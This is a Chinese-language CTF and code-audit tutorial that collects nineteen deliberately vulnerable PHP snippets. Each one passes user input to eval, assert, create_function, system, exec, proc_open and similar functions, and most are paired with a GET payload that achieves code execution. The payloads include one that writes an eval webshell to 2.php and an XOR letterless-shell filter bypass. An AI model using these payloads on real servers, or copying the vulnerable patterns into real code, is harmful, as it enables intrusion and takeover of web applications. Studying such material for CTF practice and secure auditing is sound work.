原文链接:PHP代码执行集锦
前言代码审计总要遇到命令执行或者说RCE,打CTF的过程中难免不会碰见,毕竟PHP是世界上最好的语言,总结一下 命令执行函数E.g.1- <?php
- error_reporting(0);
- show_source(__FILE__);
- $a = "$_GET[c]";
- $b = "$_GET[d]";
- $array[0] =$b;
- $c = array_map($a,$array);
- ?>
复制代码
传入参数c和d,array_map函数作用将**作为函数,array**作为参数,构造paylaod
- ?c=assert&d=system(%27ls%27);
复制代码
E.g.2- <?php
- error_reporting(0);
- show_source(__FILE__);
- $a = "$_GET[b]";
- $b = create_function('',$a);
- $b();
- ?>
复制代码create_function 函数会创建一个匿名函数(lambda样式),在第一个echo中显示出名字,并在第二个echo语句中执行了此函数。
- $b = create_function('',$a);
复制代码这里$a为函数,' '为参数 那么可以看作为 - function lambda(){
- echo ' ' ;
- }
复制代码
传入payload在function函数中即
- function lambda(){
- echo ' ' ;}phpinfo();/*
- }
复制代码 后面的内容注释掉了,即执行命令
E.g.3
- <?php
- error_reporting(0);
- show_source(__FILE__);
- $a = "$_GET[d]";
- $b='print'.$a.';';
- $f = create_function('$a',$b);
- $f($a)
复制代码 跟上面一样,虽然有一点变形,但是再$b的打印上没有特殊之处,所以payload:
一致
E.g.4- <?php
- error_reporting(0);
- show_source(__FILE__);
- $a = "$_GET[b]";
- assert($a);
- ?>
复制代码 没什么特别之处,assert直接作为函数执行,payload:
E.g.5- <?php
- error_reporting(0);
- show_source(__FILE__);
- $a = "$_GET[b]";
- $b = "$_GET[c]";
- call_user_func($a,$b);
- ?>
复制代码 call_user_func()函数的特点,知道后面的后面的为参数,前面的a为函数即可 payload: E.g.6- <?php
- error_reporting(0);
- show_source(__FILE__);
- $a = "$_GET[b]";
- $b = array($_GET['c']);
- call_user_func_array($a,$b);
- ?>
复制代码 payload:
- ?b=assert&c=system(%27whoami%27);
复制代码
E.g.7- <?php
- error_reporting(0);
- show_source(__FILE__);
- $_GET['a']($_GET['b']);
- ?>
复制代码 传入参数a和b,一个作为函数执行,一个做位参数,构造payload:
- ?a=assert&b=system(%27ls%27)
复制代码
E.g.8- <?php
- error_reporting(0);
- show_source(__FILE__);
- $a = "$_GET[b]";
- eval($a);
- ?>
复制代码 一句话木马有没有很熟悉,直接get方式传参给b即可,payload:
E.g.9- <?php
- show_source(__FILE__);
- echo "<br>";
- echo '请输入一个a的值';
- echo "<br>";
- error_reporting(0);
- $price = $_GET['a'];
- $code = 'echo $name. '.'的美元价格是' .$price.'; ';
- $b = create_function('$name',$code);
- $b('iphone');
- ?>
复制代码
基本上属于3的内容加强版,重点就是需要进行闭合,,代码变多了,payload没有出入,重点还是再**$code**的位置 payload: - ?a=1;}system(%27ls%27);/*
复制代码
E.g.10
- <?php
- show_source(__FILE__);
- error_reporting(0);
- $sort_by = $_GET['sort_by'];
- $sorter = 'strnatcasecmp';
- $database = array('1234','4321');
- $sort_function = ' return 1 * ' . $sorter . '($a["' . '"] , $b["' . $sort_by . '"]);';
- usort($database,create_function('$a,$b',$sort_function));
- ?>
复制代码
属于加强版本,**$sort_function的内容进行闭合,也就是sort_by**的参数值要实现闭合,构造payload: - ?sort_by=%27"]);}system(%27whoami%27);/*
复制代码
E.g.11- <?php
- error_reporting(0);
- show_source(__FILE__);
- $a = "$_GET[c]";
- $b = preg_replace("/abc/e",$a,'abcd');
- var_dump($b);
- ?>
复制代码 虽然加了正则,但是并没有什么卵用,假把式,payload:
E.g.12- <?php
- show_source(__FILE__);
- $commandExecution = "echo ";
- echo "<br>";
- system($commandExecution.$_GET['a']);
- echo "<br>";
- ?>
复制代码 payload
- ?a=<?php%20@eval($_POST[a]);%20?>%20>2.php
复制代码 一句话木马写入2.php
也有其它解法直接进行命令执行。 E.g.13- <?php
- error_reporting(0);
- show_source(__FILE__);
- $a = "$_GET[c]";
- echo "<br>";
- exec($a,$b);
- var_dump($b);
- ?
复制代码 **exec()**函数直接执行命令,那么payload
E.g.14- <?php
- error_reporting(0);
- show_source(__FILE__);
- $a = "$_GET[c]";
- echo shell_exec($a);
- ?
复制代码
函数的特性shell_exec ?c=ls>2.txt
然后执行 ?c=cat 2.txt
此时
E.g.15- <?php
- error_reporting(0);
- show_source(__FILE__);
- $a = "$_GET[c]";
- echo "<br>";
- echo `$a`;
- ?>
复制代码
看到echo以及传入的字符串,方法类似于上面的一道 ?c=cat%20flag.php>3.txt
直接访问3.txt即可,或者 ?c=cat%203.txt E.g.16- <?php
- error_reporting(0);
- show_source(__FILE__);
- $a = "$_GET[c]";
- passthru($a);
- ?>
复制代码
payload: ?c=cat%20flag.php E.g.17- <?php
- error_reporting(0);
- show_source(__FILE__);
- $cmd=$_GET['c'];
- $fd = popen($cmd, 'r');
- while($s=fgets($fd)){
- print_r($s);
- }
- ?>
复制代码
payload ?c=cat%20flag.php E.g.18- <?php
- error_reporting(0);
- show_source(__FILE__);
- $command=$_GET['c'];
- $descriptorspec=array(
- 0=>array('pipe','r'),
- 1=>array('pipe','w'),
- 2=>array('pipe','w')
- );
- $handle=proc_open($command,$descriptorspec,$pipes,NULL);
- if(!is_resource($handle)){
- die('proc_open failed');
- }
- while($s=fgets($pipes[1])){
- print_r($s);
- }
- while($s=fgets($pipes[2])){
- print_r($s);
- }
- fclose($pipes[0]);
- fclose($pipes[1]);
- fclose($pipes[2]);
- proc_close($handle);
- ?>
复制代码
payload ?c=cat%20flag.php E.g.19 无字母shell- <?php
- include 'flag.php';
- if(isset($_GET['code'])){
- $code = $_GET['code'];
- if(strlen($code)>40){ //检测字符长度
- die("Long.");
- }
- if(preg_match("/[A-Za-z0-9]+/",$code)){ //限制字母和数字
- die("NO.");
- }
- @eval($code); //$code的值要为非字母和数字
- }else{
- highlight_file(__FILE__);
- }
- //$hint = "php function getFlag() to get flag";
- ?>
复制代码 绕过正则,传入的参数中不能含有大小写字母以及数字,使用异或的当时绕过正则即可
- <?php
- var_dump('#'^'|');
- var_dump('.'^'~');
- var_dump('/'^'');
- var_dump('|'^'/');
- var_dump('{'^'/');
- $__=("#"^"|").("."^"~").("/"^"").("|"^"/").("{"^"/");
- //变量$_值为字符串'POST'
- ?>
复制代码
no.flag中提示了flag在getflag()方法中,那么自然需要构造payload去调用getflag()方法,需要参数长度小于40且绕过正则,那么可以设想一下 function getflag(){ xxxxxxxxxxxxxxxx } @eval($code);
函数的调用就是类似于上面的过程,那么eval在执行的过程中_GET[]且需要调用**getFlag()**方法,因为考虑到需要无字母,所以结合异或,那么payload就是下面的内容: - ?code=${"{{{"^"?<>/"}[""^"?"]();&_=getFlag
- 或者
- ?code=$="`{{{"^"?<>/";${$}_;&_=getFlag
复制代码
这里
//_GET 的变形无字母shell $_="`{{{"^"?<>/";
小结大佬请绕路,如有错误欢迎师傅们指出。
本实验主要介绍了Command-Injection实验,通过本实验的学习,你能够深入理解命令行注入工作原理,建立独立思考问题的能力。 https://www.hetianlab.com/expc.do?ce=c9246cb4-e33e-4528-84d5-b7636ea753c1&pk_campaign=weixin-wemedia#stu
|